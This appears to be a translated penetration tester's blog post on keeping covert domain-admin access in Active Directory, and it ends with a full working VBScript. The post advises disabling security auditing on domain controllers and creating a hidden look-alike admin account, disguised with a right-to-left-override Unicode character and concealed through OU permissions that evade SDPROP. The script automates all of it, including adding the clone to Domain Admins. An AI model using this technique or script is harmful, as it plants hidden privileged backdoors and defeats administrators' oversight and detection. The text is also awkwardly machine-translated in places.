At the beginning of last year, I have already raised the
topic of post-operation in the Microsoft Active Directory
domain . The
previously proposed approach considered a variant oriented more towards the case of the loss of administrative privileges than their direct use. At the same time, the very act of returning these privileges implied “noisy” events and visual manipulations in the catalog. In other words, in order to regain administrative privileges in the domain, it was required to become a member of the relevant security group, for example, the Domain Admins group.
It must be said that administrators are very worried when they suddenly become aware of the presence of someone else in their system. Some of them rush to the security incident with all their might. Sometimes, the most unpredictable actions;))

')
Now imagine how an Active Directory administrator in a large company can behave at the sight of an unfamiliar identifier in the Enterprise Admins security group? In the event that someone poured not for fun, then the administrator's concern is fully justified. But in case of insufficient counteraction during pentest testing, it’s obviously not worth worrying very much (exactly how to deprive the guys of entry points and privileges obtained by sweat and blood).
I have been thinking for a long time about how, without frightening administrators, to freely use the achieved privileges in the course of conducting penetration testing (especially against the backdrop of aggressive opposition from administrators in recent works). On the one hand, during the Pentest we are very limited in opportunities. For example, the rule for minimizing the impact on the object of study is as a matter of course. Therefore, we simply cannot build and spread backdoors across the captured network. On the other hand, there are perfectly understandable goals that need to be achieved before the joyful administrator notices unauthorized activity and unplugs the power cord.
So how can you go unnoticed in Microsoft networks?The first thing that comes to mind is to use an administrator account. Access is legitimate, so it should not attract special attention. But, as practice shows, it is not always possible to obtain an administrator password in the clear. In these cases, the attack, known as
Pass-the-Hash , is in a hurry. Almost everything would be fine (almost because Pass-the-Hash reduces the possibilities for developing attacks, for example, you cannot use the RDP remote control protocol), but in serious companies administrators are slowly switching to smart cards that do not allow on the shortcomings of the NTLM protocol. Good, but there is still the possibility of using an authorized user token (eq
incognito ) and / or a Kerberos ticket (eq
WCE ). This is certainly true, but in practice Kerberos is not a kerberos and a token is not a token: (Unfortunately, the available toolkit for conducting these types of attacks unfortunately frankly messes up. Moreover, in both cases, exactly as with the Pass-the-Hash attack attacker's actions are very limited by the protocols used that support SSO in the domain.
Thus, the most attractive way is the use of privileges, if not already existing, so created domain administrator ID with a known password ...
How not to run into the vigilant eye of the domain administrator?First, making changes to the Active Directory creates corresponding events that the administrator is better not aware of. Therefore, before pouring into the domain (of course, only when conducting penetration testing and after coordinating this action with the person in charge of the customer), it is recommended to disable security events on the domain controllers by means of an appropriate GPO. Let me remind you that by default, the background time for updating group policies for domain controllers is 15 minutes.
Secondly, no one bothers to create a visually identical account similar to the existing domain administrator. For this, for example, unicode characters (!) Can be used. Next, the created user is set the attribute “showInAdvancedViewOnly” to “TRUE”, which will hide the object in the standard view mode of the “Users and Computers Management” snap-in (dsa.msc). After that, it remains to place this user in one of the administrative groups, free from the real domain administrator (for example, administrators like to stick their account into all imaginable and unimaginable administrative groups; for example, leave the administrator in the “Enterprise Admins” group , and put the clone in the Domain Admins group).
But I think that many of the readers have already doubted the success of the company. And they are right! This method is no good, because there are two significant drawbacks:
1. The created user ID is visible in the “naked eye” directory.
2. When searching for users in the domain, the administrator account begins to double.
How can you solve these problems?It would seem that the simplest solution on the surface is to correctly configure the access rights to the created object (our user). To do this, it is enough for the “Everyone” group to forbid reading the public information of the object. And in the organizational unit, next to the real Active Directory administrator will hang "something" that at least stops to glow when searching for users in the domain. However, the tale will last no more than 60 minutes :( The fact is that by default every 60 minutes a domain controller running the PDC emulator starts the process “SDPROP”, which restores access rights for a number of Active Directory objects (including for all members of the administrator groups) in accordance with the established access rights to the AdminSDHolder object (
http://technet.microsoft.com/en-us/query/ee361593 ).
Unfortunately, it is not possible to disable the specified security mechanism by standard features. Hack with access rights to the object can lead to problems with replication (and here it smacks of some kind of diversion; with pentest nizya). Overwriting the permissions on the AdminSDHolder will affect many objects, including the identifiers of all domain administrators. Thus, one of the possible useful solutions may be the regular launch of a script that will correct the errors of the “SDPROP” process, but there is a more promising alternative.
The “SDPROP” process restores access rights (ACE) only to specific privileged objects, while the access rights for organizational units that contain such objects remain unchanged. This is exactly what you can use! After all, no one bothers us, using Unicode characters, to create a similar sequence of organizational units, similar to the sequence in which the identifier being cloned is contained. At the same time, the “right” access rights to the superior container will allow it to be visually hidden from prying eyes (of course, within reason).


The meaning of this approach is that the Active Directory administrator should not have unhealthy suspicions that the system entrusted to him has been compromised. He still remains the current administrator, unless a member of one of the privileged groups is a visually identical account ...
And the last. In order that the created clone is not duplicated in the catalog search, you can use, for example, the symbol "
202E " (Respect
Alexander Zaitsev for the reminder). The specified character reverses the line behind it. Thus, if we, for example, create a clone for the identifier "dmitry.ivanov", the created identifier will have the form "202E" + "vonavi.yrtimd". Perhaps this approach is not so convenient for authentication, but it saves from entering the directory search.

From the point of view of security logs, this approach also allows you to go unnoticed until a certain point.

Below is a script that automates all of the above. Adjustable parameters:
strAdminsamAccountName - the ID you want to clone
strAdminsGroup is the preferred group in which to place the clone
strPassNewUser - set password for new user
On Error Resume Next
strAdminsamAccountName = "dmitry.ivanov"
strAdminsGroup = "Domain Admins"
strPassNewUser = "P @ ssw0rd"
'- - - Dim arrContainer (), i
Set objRootDSE = GetObject ("LDAP: // RootDSE")
strDomain = objRootDSE.Get ("DefaultNamingContext")
Set objDomain = GetObject ("LDAP: //" & strDomain)
strAdminsamAccountNameDN = SearchDN ("'WHERE objectCategory =' user 'AND samAccountName ='" & strAdminsamAccountName & "'")
If Not IsNull (strAdminsamAccountNameDN) Then
Set objAdmin = GetObject ("LDAP: //" & strAdminsamAccountNameDN)
Set objOU = GetObject (objAdmin.parent)
i = 0
Call EnumOUs (objOU)
For j = i-1 To 0 Step -1
if strContainer = "" Then
strContainer = "OU =" & arrContainer (j) & strContainer
primaryContainer = strContainer
Else
strContainer = "OU =" & arrContainer (j) & "," & strContainer
End if
Set objOUcreate = objDomain.Create ("organizationalUnit", strContainer)
objOUcreate.SetInfo
Next
Set objContainer = GetObject ("LDAP: //" & strContainer & "," & strDomain)
Set objUserCreate = objContainer.Create ("User", "cn =" & ChrW (8238) & StrReverse (objAdmin.displayName))
objUserCreate.Put "sAMAccountName", ChrW (8238) & StrReverse (strAdminsamAccountName)
objUserCreate.SetInfo
On Error Resume Next
objUserCreate.SetPassword strPassNewUser
objUserCreate.Put "userAccountControl", 66048
objUserCreate.Put "givenName", ChrW (8238) & StrReverse (objAdmin.givenName)
objUserCreate.Put "sn", ChrW (8238) & StrReverse (objAdmin.sn)
objUserCreate.Put "initials", ChrW (8238) & StrReverse (objAdmin.initials)
objUserCreate.SetInfo
On Error Resume Next
objUserCreate.Put "showInAdvancedViewOnly", "TRUE"
objUserCreate.SetInfo
On Error Resume Next
NewUserDN = "cn =" & ChrW (8238) & StrReverse (objAdmin.displayName) & "," & objContainer.distinguishedName
strAdminsGroupDN = SearchDN ("'WHERE objectCategory =' group 'AND samAccountName ='" & strAdminsGroup & "'")
If Not IsNull (strAdminsGroupDN) Then
Set objGroup = GetObject ("LDAP: //" & strAdminsGroupDN)
objGroup.PutEx 4, "member", Array (strAdminsamAccountNameDN)
objGroup.SetInfo
objGroup.PutEx 3, "member", Array (NewUserDN)
objGroup.SetInfo
End if
OUAddAce (primaryContainer & "," & strDomain)
End if
Function SearchDN (str)
Set objConnection = CreateObject ("ADODB.Connection")
objConnection.Provider = "ADsDSOObject"
objConnection.Open "Active Directory Provider"
Set objCommand = CreateObject ("ADODB.Command")
Set objCommand.ActiveConnection = objConnection
objCommand.Properties ("Searchscope") = 2
objCommand.CommandText = "SELECT distinguishedName FROM 'LDAP: //" & strDomain & str
Set objRecordSet = objCommand.Execute
If Not objRecordSet.EOF Then
SearchDN = objRecordSet.Fields ("distinguishedName"). Value
End if
End function
Sub EnumOUs (objChild)
Dim objParent
Set objParent = GetObject (objChild.Parent)
If (objParent.Class = "organizationalUnit") Then
ReDim Preserve arrContainer (i + 1)
arrContainer (i) = objChild.ou
i = i + 1
Call EnumOUs (objParent)
Else
ReDim Preserve arrContainer (i + 1)
arrContainer (i) = objChild.ou & ChrW (128)
i = i + 1
End if
End sub
Function OUAddAce (OU)
Dim objSdUtil, objSD, objDACL, objAce
Set objOU = GetObject ("LDAP: //" & OU)
Set objSdUtil = GetObject (objOU.ADsPath)
Set objSD = objSdUtil.Get ("ntSecurityDescriptor")
Set objDACL = objSD.DiscretionaryACL
Set objAce = CreateObject ("AccessControlEntry")
objAce.Trustee = "Everyone"
objAce.AceFlags = 2
objAce.AceType = 6
objAce.AccessMask = 16
objAce.Flags = 1
objAce.ObjectType = "{E48D0154-BCF8-11D1-8702-00C04FB96050}"
objDacl.AddAce objAce
objSD.DiscretionaryAcl = objDacl
objSDUtil.Put "ntSecurityDescriptor", Array (objSD)
objSDUtil.SetInfo
Set objNtSecurityDescriptor = objOU.Get ("ntSecurityDescriptor")
intNtSecurityDescriptorControl = objNtSecurityDescriptor.Control
intNtSecurityDescriptorControl = intNtSecurityDescriptorControl Xor & H1000
objNtSecurityDescriptor.Control = intNtSecurityDescriptorControl
objOU.Put "ntSecurityDescriptor", objNtSecurityDescriptor
objOU.SetInfo
End function